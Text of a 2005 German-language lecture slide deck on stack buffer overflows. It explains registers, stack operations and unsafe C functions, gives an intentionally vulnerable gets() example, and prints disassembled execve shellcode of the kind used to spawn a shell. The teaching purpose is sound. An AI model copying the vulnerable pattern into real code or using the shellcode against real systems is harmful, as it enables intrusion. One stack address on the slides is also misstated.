Buffer Overflows

© Thierry Dussuett & Mathias Weyland

Begrüssung

Aufbau des Stacks, Register

Überschreiben der ret Adresse

Assembly

Eigener Code ausführen

Stack

© Thierry Dussuett & Mathias Weyland

Von Architektur abhängig (Intel)

Beginnt bei 0xc00000000

Wächst abwärts

CPU-Register

© Thierry Dussuett & Mathias Weyland

Register für Rechenoperationen (eax-edx)

esp:	Stack pointer

eip:	Instruction pointer

ebp:	Base pointer

CPU-Register

© Thierry Dussuett & Mathias Weyland

hans

peter

ebp

esp

int main (void)

{

int hans;

int peter;

printf("Hans-Peter: %d",\

hans+peter);

}

eip

Stack-Operationen

© Thierry Dussuett & Mathias Weyland

push

Etwas auf den Stack stellen

esp dekrementieren

push $0x08048ab5

pop

Etwas vom Stack nehmen

esp inkrementieren

pop %eax

push

© Thierry Dussuett & Mathias Weyland

pop

© Thierry Dussuett & Mathias Weyland

Beispiel (simple.c)

© Thierry Dussuett & Mathias Weyland

void call()

{

int peter;

}

int main(void)

{

call();

}

Beispiel (simple.c)

© Thierry Dussuett & Mathias Weyland

void call()

{

int peter;

}

int main(void)

{

call();

}

saved ebp

peter

ret

Unsichere Funktionen

© Thierry Dussuett & Mathias Weyland

gets()	Zeile von stdin lesen

strcpy()	Strings kopieren

scanf()	Text formatiert lesen

printf()	Text formatiert schreiben

Überschreiben der ret Adresse

© Thierry Dussuett & Mathias Weyland

saved ebp

peter

ret

peter

saved ebp

ret

Beispiel (gets.c)

© Thierry Dussuett & Mathias Weyland

void call()

{

char buf[12];

gets(buf);

}

void exploit()

{

printf("Exploited!\n");

}

int main(void)

{

call();

}

© Thierry Dussuett & Mathias Weyland

Code auf dem Stack ausführen

© Thierry Dussuett & Mathias Weyland

00000000 <shellcode_start>:

0: eb 14 jmp 16 <backcall>

00000002 <delta>:

2: 5b pop %ebx

3: 31 c0 xor %eax,%eax

5: 88 43 07 mov %al,0x7(%ebx)

8: 8d 4b 08 lea 0x8(%ebx),%ecx

b: 8d 53 0c lea 0xc(%ebx),%edx

e: 89 19 mov %ebx,(%ecx)

10: 89 02 mov %eax,(%edx)

12: b0 0b mov $0xb,%al

14: cd 80 int $0x80

00000016 <backcall>:

16: e8 e7 ff ff ff call 2 <delta>

Literatur

© Thierry Dussuett & Mathias Weyland

Smashing the Stack (phrack 49) http://www.cs.ucsb.edu/~jzhou/security/overflow.html

Insane in the stack frame http://www.blueadeptz.org/files/papers/sewg.txt

C of Peril
http://www.pldaniels.com/c-of-peril/c-of-peril.pdf

2005-01-07T14:45:25